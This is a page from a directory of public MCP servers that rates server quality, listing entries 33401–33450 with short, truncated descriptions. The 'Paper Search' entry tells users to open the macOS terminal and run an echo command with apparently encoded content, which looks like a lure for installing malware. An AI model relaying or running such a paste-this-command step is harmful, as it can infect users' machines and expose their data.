MCP Server Quality Scores
Independent quality analysis of 62421 public MCP servers
Last updated 2 hours, 17 minutes ago
Grade Distribution
Score Distribution
| # | Server | Score ↓ | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| ○ Unscored | ||||||||||
| 33401 |
Langfuse MCP Server
Claim
Model Context Protocol server for Langfuse observability. Query traces, analyze…
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| 33402 |
Memecoin Observatory MCP
Claim
A Solana MCP server for analyzing memecoins, tracking trends, and providing AI-…
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| 33403 |
mcp-google-sheets
Claim
A Python-based MCP server that acts as a bridge between MCP-compatible clients …
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| 33404 |
markdown-mcp
Claim
Provides structured, addressable access to a local markdown vault with heading-…
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| 33405 |
Tokonomix Council
Claim
Multi-model consensus: 2-6 frontier LLMs answer, an independent judge synthesis…
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| 33406 |
mcp-async-repl
Claim
Async Python REPL + Shell execution for MCP. Provides persistent state, backgro…
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| 33407 |
ccu-mcp
Claim
MCP server for controlling HomeMatic smart home devices via the CCU JSON-RPC API
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| 33408 |
seracade
Claim
LLM cost optimization. Audit your calls, prove savings, route to the cheapest q…
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| 33409 |
semantic-search-mcp
Claim
Provides semantic code search over codebases using local embeddings with natura…
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| 33410 |
lore-mcp
Claim
Persistent knowledge layer for AI agents. KB, investigation threads, journal wi…
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| 33411 |
Currency Exchange
Claim
Convert amounts between currencies with up-to-date rates. Get accurate conversi…
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| 33412 |
Atlassian Attachments
Claim
MCP server for downloading Jira and Confluence Cloud attachments by attachment …
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| 33413 |
Office Word MCP Server
Claim
Enables AI assistants to create, read, and manipulate Microsoft Word documents …
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| 33414 |
Kamy
Claim
Other PDF MCP servers ask you to install Chrome, manage a local renderer, and s…
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| 33415 |
travel
Claim
AI travel agent — book flights, hotels, activities, and events worldwide via au…
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| 33416 |
agent-magnet
Claim
Self-learning memory for AI tools. Remembers user preferences and context acros…
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| 33417 |
confluence-mini-mcp
Claim
Lightweight MCP server that crawls Confluence subtrees and serves cached Markdo…
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| 33418 |
Moddable Games Tools
Claim
15 tools for chess variant analysis, hex map generation, and board game utiliti…
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| 33419 |
flutter-motion-kit
Claim
Enables AI coding assistants to search, retrieve, and reuse validated Flutter a…
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| 33420 |
Grounded Reasoning
Claim
Verify multi-hop relational claims before an agent asserts them — zero tokens, …
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| 33421 |
WordPress MCP Server
Claim
Enables AI assistants to manage multiple WordPress sites, create and publish co…
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| 33422 |
Enables AI agents and sportsbooks to discover, evaluate, and monitor alternativ…
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| 33423 |
Piriod MCP Server
Claim
Connects Claude with Piriod.com API to manage invoicing and payments, enabling …
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| 33424 |
mcp-destatis
Claim
Enables querying Germany's official statistics from Destatis GENESIS-Online thr…
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| 33425 |
Premiere Pro MCP Server
Claim
Enables AI assistants to fully control Adobe Premiere Pro through 269 tools acr…
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| 33426 |
Sunex Optics
Claim
*A public MCP server that exposes Sunex Inc's lens and imager catalog to AI a…
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| 33427 |
mdmagic-mcp-server
Claim
Use your own Word templates to convert Markdown → DOCX/PDF/HTML from any MCP-co…
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| 33428 |
Australian local-trade providers. One signed provider per domain. 15 live acros…
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| 33429 |
Proxmox AIops
Claim
Governed Proxmox VE VM/container ops — 23 MCP tools with audit, budget, undo & …
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| 33430 |
Paper Search
Claim
Important!
To install, open the MacOS terminal and enter the command: echo 'L2…
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| 33431 |
Gamito
Claim
Enables AI agents to generate budget-disciplined, allergy-safe weekly meal plan…
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| 33432 |
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
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| 33433 |
Gemini MCP Server
Claim
Integrates Google Gemini's capabilities—including search-grounding, image/video…
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| 33434 |
Cross-border preflight, x402 quote and evidence receipts for A2A/MCP agent work…
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| 33435 |
AnchorRegistry
Claim
On-chain provenance lookup for AnchorRegistry. Resolve AR-IDs, hashes, and full…
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| 33436 |
UniFi MCP Server
Claim
MCP server providing Claude Code with full UniFi network management capabilitie…
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| 33437 |
MCP-SERVER
Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
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| 33438 |
asic-mcp
Claim
Query ASIC registers in plain English — advisers, licensees, banned persons, li…
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| 33439 |
Exposes Azure Databricks Jobs tools (list, run, get output) with Entra ID authe…
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| 33440 |
nodecel
Claim
Vibe deployment for nodecel — deploy, roll back, diagnose, and manage apps and …
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| 33441 |
INSEE MCP Server
Claim
Enables searching companies in the SIRENE database using SIREN, SIRET, or compa…
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| 33442 |
Deterministic safety, correctness & cost gate that vets Postgres SQL before you…
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| 33443 |
Email MCP Server
Claim
Enables email integration via IMAP and SMTP, allowing model assistants to read,…
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| 33444 |
AgentDebate MCP Server
Claim
Enables AI agents to discover, join, and participate in AgentDebate debates via…
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| 33445 |
Enables read-only access to Obsidian vaults with semantic search, tag filtering…
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| 33446 |
LinkedIn Ads Library
Claim
Search and retrieve LinkedIn ads effortlessly. Utilize powerful tools to find a…
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| 33447 |
recall-mcp
Claim
A shared, local-first memory layer for AI CLIs, providing persistent, layered m…
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| 33448 |
pantrist-mcp
Claim
Manage your pantry, shopping lists, recipes, and weekly meal plan with Pantrist…
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| 33449 |
StackFiesta
Claim
Discover AI tools for game development — 100+ tools indexed by engine, task, an…
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| 33450 |
chp
Claim
Learn and adopt the Capability Host Protocol — the agentic web's open evidence …
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